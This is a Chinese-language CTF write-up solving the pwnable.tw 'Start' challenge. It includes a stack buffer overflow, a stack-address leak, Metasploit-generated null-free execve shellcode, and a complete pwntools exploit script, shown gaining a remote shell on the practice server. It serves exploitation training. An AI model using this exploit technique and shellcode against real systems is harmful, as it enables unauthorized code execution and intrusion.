跟我一起用热门渗透测试框架 metasploit rock !
题目链接: Start 100 pts
Start [100 pts]
检查保护:
$ checksec start
[*] '/home/z1933/workplace/vbshare/ctf/start'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
NX disabled
表明可以在栈上执行指令。
拉到IDA中反汇编分析发现其输入输出是作者自己纯手写,程序有缓冲区溢出。
IDA反汇编输出:
.text:08048060 public _start
.text:08048060 _start proc near ; DATA XREF: LOAD:08048018↑o
.text:08048060 push esp
.text:08048061 push offset _exit
.text:08048066 xor eax, eax
.text:08048068 xor ebx, ebx
.text:0804806A xor ecx, ecx
.text:0804806C xor edx, edx
.text:0804806E push ':FTC'
.text:08048073 push ' eht'
.text:08048078 push ' tra'
.text:0804807D push 'ts s'
.text:08048082 push 2774654Ch
.text:08048087 mov ecx, esp ; addr
.text:08048089 mov dl, 14h ; len
.text:0804808B mov bl, 1 ; fd
.text:0804808D mov al, 4
.text:0804808F int 80h ; LINUX - sys_write
.text:0804808F
.text:08048091 xor ebx, ebx
.text:08048093 mov dl, '<'
.text:08048095 mov al, 3
.text:08048097 int 80h ; LINUX -
.text:08048097
.text:08048099 add esp, 20
.text:0804809C retn
分析可以发现返回地址在 输入位置
+ 0x14=20
的位置。 指令地址0x08048087
处让 ecx
存写的起始地址。
调试分析发现如果让 retn
时回到 0x08048087
指令位置,让它输出一遍此时 esp
所指向的内容会引起栈地址泄露。
拿到一个可用的栈地址之后,调试算一下偏移,发现 新的返回地址 = 泄露的返回地址+0x14
。 可解。
这里我是用 pwntool + IDA 附加进程
的方式调试的。
用 metasploit 生成 payload
z1933@1933:~/workplace
$ sudo msfconsole -q
msf6 >
找到我们想要的payload
msf6 > search type:payload platform:linux arch:x86 -S exec
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
21 payload/linux/x86/exec normal No Linux Execute Command
Interact with a module by name or index. For example info 37, use 37 or use payload/linux/x86/read_file
msf6 > use 21
msf6 payload(linux/x86/exec) > info
Name: Linux Execute Command
Module: payload/linux/x86/exec
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 20
Rank: Normal
Provided by:
vlad902 <vlad902@gmail.com>
Geyslan G. Bem <geyslan@gmail.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CMD no The command string to execute
Description:
Execute an arbitrary command or just a /bin/sh shell
-S exec
表示过滤。看起来是我们想要的。生成 python 的形式方便 pwntool 使用。
msf6 payload(linux/x86/exec) > set NullFreeVersion true
NullFreeVersion => true
msf6 payload(linux/x86/exec) > generate -f python
# linux/x86/exec - 21 bytes
# https://metasploit.com/
# VERBOSE=false, PrependFork=false, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependSetresgid=false, PrependSetregid=false,
# PrependSetgid=false, PrependChrootBreak=false,
# AppendExit=false, NullFreeVersion=true
buf = b""
buf += b"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68"
buf += b"\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
msf6 payload(linux/x86/exec) >
set NullFreeVersion true
是用 show advanced
命令查看高级参数设置然后设置的。
攻击脚本:
# coding: utf-8
from pwn import *
# Set target environment
context(os='linux', arch='i386')
mov_ecx = 0x08048087
print(p32(mov_ecx))
io=None
if len(sys.argv) == 1 :
io=process('./start')
else:
log.info("remote start")
# 鉴于国内网络环境,设置代理,后面是你代理服务器的地址和端口
context.proxy=(socks.SOCKS5,'localhost',7890)
io=remote('chall.pwnable.tw',10000)
io.recvuntil(":")
# stack leak
stack_leak=b"a"*0x14
stack_leak+=p32(mov_ecx)
io.send(stack_leak)
addr=io.recvn(4)
addr=u32(addr)
print("stack leak:{}".format(hex(addr)))
# send shell_code
buf = b'b'*0x14
buf += p32(addr+0x14)
buf += b"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68"
buf += b"\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
io.send(buf)
io.interactive()
运行结果:
z1933@1933:~/workplace/vbshare/ctf
$ python3 pwntool.py -r
b'\x87\x80\x04\x08'
[*] remote start
[+] Opening connection to chall.pwnable.tw on port 10000: Done
pwntool.py:21: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.recvuntil(":")
stack leak:0xffbd7750
[*] Switching to interactive mode
\x00\x00\x8f\xbd\xff\x00\x00G\x8f\xbd\xff$ whoami
start
$ ls -la
total 80
drwxr-xr-x 1 root root 4096 Nov 14 2019 .
drwxr-xr-x 1 root root 4096 Nov 14 2019 ..
-rwxr-xr-x 1 root root 0 Nov 14 2019 .dockerenv
drwxr-xr-x 1 root root 4096 Jan 13 2017 bin
drwxr-xr-x 2 root root 4096 Apr 12 2016 boot
drwxr-xr-x 5 root root 340 Sep 16 2021 dev
drwxr-xr-x 1 root root 4096 Nov 14 2019 etc
drwxr-xr-x 1 root root 4096 Nov 14 2019 home
drwxr-xr-x 1 root root 4096 Jan 13 2017 lib
drwxr-xr-x 2 root root 4096 Jan 13 2017 lib32
drwxr-xr-x 2 root root 4096 Dec 13 2016 lib64
drwxr-xr-x 2 root root 4096 Jan 13 2017 libx32
drwxr-xr-x 2 root root 4096 Dec 13 2016 media
drwxr-xr-x 2 root root 4096 Dec 13 2016 mnt
drwxr-xr-x 2 root root 4096 Dec 13 2016 opt
dr-xr-xr-x 598 root root 0 Sep 16 2021 proc
drwx------ 2 root root 4096 Dec 13 2016 root
drwxrwxr-- 1 root root 4096 Jan 13 2017 run
drwxr-xr-x 1 root root 4096 Jan 13 2017 sbin
drwxr-xr-x 2 root root 4096 Dec 13 2016 srv
dr-xr-xr-x 13 root root 0 Sep 17 2021 sys
drwxr-xr-- 2 start start 4096 Jan 13 2017 tmp
drwxr-xr-x 1 root root 4096 Jan 13 2017 usr
drwxr-xr-x 1 root root 4096 Jan 13 2017 var
$